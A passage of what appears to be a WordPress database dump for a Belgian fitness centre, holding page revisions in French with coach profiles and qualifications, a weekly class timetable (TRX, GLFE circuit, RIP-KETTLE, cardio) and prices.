#ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:51:00', '2013-07-03 19:51:00', '', 20, 'http://www.crosstrainingcenter.be/?p=250', 0, 'revision', '', 0),
(256, 1, '2013-07-03 19:13:39', '2013-07-03 19:13:39', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:13:39', '2013-07-03 19:13:39', '', 11, 'http://www.crosstrainingcenter.be/?p=256', 0, 'revision', '', 0),
(251, 1, '2013-07-03 19:52:22', '2013-07-03 19:52:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting&lt;/h5&gt;\r\nFormateur coach\r\n\r\nCoach\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:52:22', '2013-07-03 19:52:22', '', 20, 'http://www.crosstrainingcenter.be/?p=251', 0, 'revision', '', 0),
(252, 1, '2013-07-03 19:54:26', '2013-07-03 19:54:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 